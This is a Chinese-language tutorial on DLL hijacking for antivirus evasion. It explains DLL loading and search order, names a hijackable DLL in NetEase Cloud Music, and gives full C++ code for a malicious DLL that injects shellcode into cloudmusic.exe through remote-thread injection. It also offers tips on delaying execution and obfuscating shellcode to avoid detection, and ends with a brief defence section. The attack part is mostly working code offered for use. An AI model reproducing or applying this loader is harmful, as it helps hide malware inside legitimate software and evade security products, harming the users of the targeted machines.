由dll劫持实现免杀
字数 1480 2025-08-23 18:31:09

DLL劫持实现免杀技术详解

一、DLL基础概念

1.1 什么是DLL

DLL(Dynamic Link Library,动态链接库)是Windows系统中的一种可执行文件格式,允许多个程序共享同一份代码,从而减少程序体积。DLL在程序运行时动态加载,而不是编译时静态链接。

1.2 DLL入口点

DLL的主入口函数是DllMain,其基本结构如下:

#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

1.3 DLL加载的四种情况

  1. DLL_PROCESS_ATTACH:当有新进程加载该DLL时触发
  2. DLL_THREAD_ATTACH:当有新线程被创建时触发
  3. DLL_THREAD_DETACH:当有线程退出时触发
  4. DLL_PROCESS_DETACH:当进程卸载DLL时触发

1.4 简单DLL示例

以下是一个在DLL加载时弹出消息框的示例:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"Hello World!", L"DLL Loaded", MB_OK);
        break;
    case DLL_PROCESS_DETACH:
        MessageBox(NULL, L"DLL_PROCESS_DETACH", L"DLL Loaded", MB_OK);
        break;
    }
    return TRUE;
}

二、DLL调用方式

2.1 显式调用

显式调用是在运行时动态加载DLL,使用Windows API的LoadLibrary函数:

#include <iostream>
#include <Windows.h>

int main()
{
    // 加载DLL
    HMODULE hM = LoadLibraryA("exDLL.dll");
    if (hM == NULL) {
        std::cerr << "Failed to load DLL." << std::endl;
        return 1;
    }
    
    std::cout << "DLL Loaded successfully." << std::endl;
    
    // 卸载DLL
    FreeLibrary(hM);
    return 0;
}

2.2 Windows DLL搜索顺序

Windows系统按以下顺序搜索DLL:

  1. 当前目录
  2. Windows系统目录
  3. 16位系统目录
  4. Windows目录
  5. 进程当前工作目录
  6. PATH环境变量列出的目录

2.3 不可劫持的DLL

某些DLL被Windows系统保护,可以通过以下命令查看:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SessionManager\KnownDLLs"

三、DLL劫持技术

3.1 劫持条件

  1. 程序调用了不存在的DLL
  2. 堆栈中存在LoadLibrary函数的调用

3.2 劫持注意事项

  1. 避免劫持核心DLL,否则可能导致软件无法启动
  2. 某些DLL不会在程序启动时立即调用,可能延迟触发
  3. 劫持系统目录中的DLL风险较高

3.3 劫持实践案例

案例1:MDMRegistration.dll

  • 在网易云音乐启动时立即被加载
  • 问题:在cloudmusic.exe之前被拉起,导致主程序无法启动

案例2:cscapi.dll

  • 成功劫持并注入shellcode
  • 不会影响主程序启动

四、DLL注入实现免杀

4.1 完整DLL劫持代码示例

#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>

unsigned char shellcode[] = "\xfc\x48\x83..."; // 省略shellcode内容

// 查找目标进程ID
DWORD FindProcessId(const wchar_t* processName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);
    if (Process32First(hSnapshot, &pe)) {
        do {
            if (wcscmp(pe.szExeFile, processName) == 0) {
                CloseHandle(hSnapshot);
                return pe.th32ProcessID;
            }
        } while (Process32Next(hSnapshot, &pe));
    }
    CloseHandle(hSnapshot);
    return 0;
}

// 注入shellcode到目标进程
int InjectShellcode()
{
    const wchar_t* targetProcessName = L"cloudmusic.exe";
    DWORD processId = FindProcessId(targetProcessName);
    if (processId == 0) {
        std::cerr << "未找到目标进程。" << std::endl;
        return -1;
    }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (hProcess == NULL) {
        std::cerr << "无法打开进程。" << std::endl;
        return -1;
    }

    // 在目标进程中分配内存
    LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (allocMem == NULL) {
        std::cerr << "内存分配失败。" << std::endl;
        CloseHandle(hProcess);
        return -1;
    }

    // 写入shellcode
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), &bytesWritten) || bytesWritten != sizeof(shellcode)) {
        std::cerr << "写入进程内存失败。" << std::endl;
        VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }

    // 创建远程线程执行shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "创建远程线程失败。" << std::endl;
        VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        InjectShellcode();
        break;
    }
    return TRUE;
}

4.2 注入流程详解

  1. 查找目标进程:使用CreateToolhelp32SnapshotProcess32First/Process32Next枚举进程
  2. 打开目标进程:使用OpenProcess获取进程句柄
  3. 分配内存:使用VirtualAllocEx在目标进程中分配可执行内存
  4. 写入shellcode:使用WriteProcessMemory将shellcode写入目标进程
  5. 创建远程线程:使用CreateRemoteThread执行注入的shellcode

五、免杀技巧与注意事项

  1. 选择合适的DLL:选择非关键DLL,避免影响程序正常运行
  2. 延迟加载:可以设置延迟加载,避免立即触发安全软件检测
  3. shellcode混淆:对shellcode进行加密或混淆处理
  4. 权限考虑:确保有足够的权限进行进程注入
  5. 错误处理:完善错误处理,避免异常行为暴露

六、防御措施

  1. 签名验证:验证DLL的数字签名
  2. 完整路径加载:使用完整路径加载DLL,避免搜索顺序劫持
  3. KnownDLLs保护:利用系统KnownDLLs机制保护关键DLL
  4. 监控DLL加载:监控进程的DLL加载行为

七、总结

DLL劫持是一种有效的免杀技术,通过利用Windows的DLL搜索机制,将恶意代码注入到合法进程中。关键在于选择合适的DLL进行劫持,并确保注入过程不会影响目标程序的正常运行。同时,防御方可以通过多种手段检测和防范此类攻击。

DLL劫持实现免杀技术详解 一、DLL基础概念 1.1 什么是DLL DLL(Dynamic Link Library,动态链接库)是Windows系统中的一种可执行文件格式,允许多个程序共享同一份代码,从而减少程序体积。DLL在程序运行时动态加载,而不是编译时静态链接。 1.2 DLL入口点 DLL的主入口函数是 DllMain ,其基本结构如下: 1.3 DLL加载的四种情况 DLL_ PROCESS_ ATTACH :当有新进程加载该DLL时触发 DLL_ THREAD_ ATTACH :当有新线程被创建时触发 DLL_ THREAD_ DETACH :当有线程退出时触发 DLL_ PROCESS_ DETACH :当进程卸载DLL时触发 1.4 简单DLL示例 以下是一个在DLL加载时弹出消息框的示例: 二、DLL调用方式 2.1 显式调用 显式调用是在运行时动态加载DLL,使用Windows API的 LoadLibrary 函数: 2.2 Windows DLL搜索顺序 Windows系统按以下顺序搜索DLL: 当前目录 Windows系统目录 16位系统目录 Windows目录 进程当前工作目录 PATH环境变量列出的目录 2.3 不可劫持的DLL 某些DLL被Windows系统保护,可以通过以下命令查看: 三、DLL劫持技术 3.1 劫持条件 程序调用了不存在的DLL 堆栈中存在 LoadLibrary 函数的调用 3.2 劫持注意事项 避免劫持核心DLL,否则可能导致软件无法启动 某些DLL不会在程序启动时立即调用,可能延迟触发 劫持系统目录中的DLL风险较高 3.3 劫持实践案例 案例1:MDMRegistration.dll 在网易云音乐启动时立即被加载 问题:在cloudmusic.exe之前被拉起,导致主程序无法启动 案例2:cscapi.dll 成功劫持并注入shellcode 不会影响主程序启动 四、DLL注入实现免杀 4.1 完整DLL劫持代码示例 4.2 注入流程详解 查找目标进程 :使用 CreateToolhelp32Snapshot 和 Process32First / Process32Next 枚举进程 打开目标进程 :使用 OpenProcess 获取进程句柄 分配内存 :使用 VirtualAllocEx 在目标进程中分配可执行内存 写入shellcode :使用 WriteProcessMemory 将shellcode写入目标进程 创建远程线程 :使用 CreateRemoteThread 执行注入的shellcode 五、免杀技巧与注意事项 选择合适的DLL :选择非关键DLL,避免影响程序正常运行 延迟加载 :可以设置延迟加载,避免立即触发安全软件检测 shellcode混淆 :对shellcode进行加密或混淆处理 权限考虑 :确保有足够的权限进行进程注入 错误处理 :完善错误处理,避免异常行为暴露 六、防御措施 签名验证 :验证DLL的数字签名 完整路径加载 :使用完整路径加载DLL,避免搜索顺序劫持 KnownDLLs保护 :利用系统KnownDLLs机制保护关键DLL 监控DLL加载 :监控进程的DLL加载行为 七、总结 DLL劫持是一种有效的免杀技术,通过利用Windows的DLL搜索机制,将恶意代码注入到合法进程中。关键在于选择合适的DLL进行劫持,并确保注入过程不会影响目标程序的正常运行。同时,防御方可以通过多种手段检测和防范此类攻击。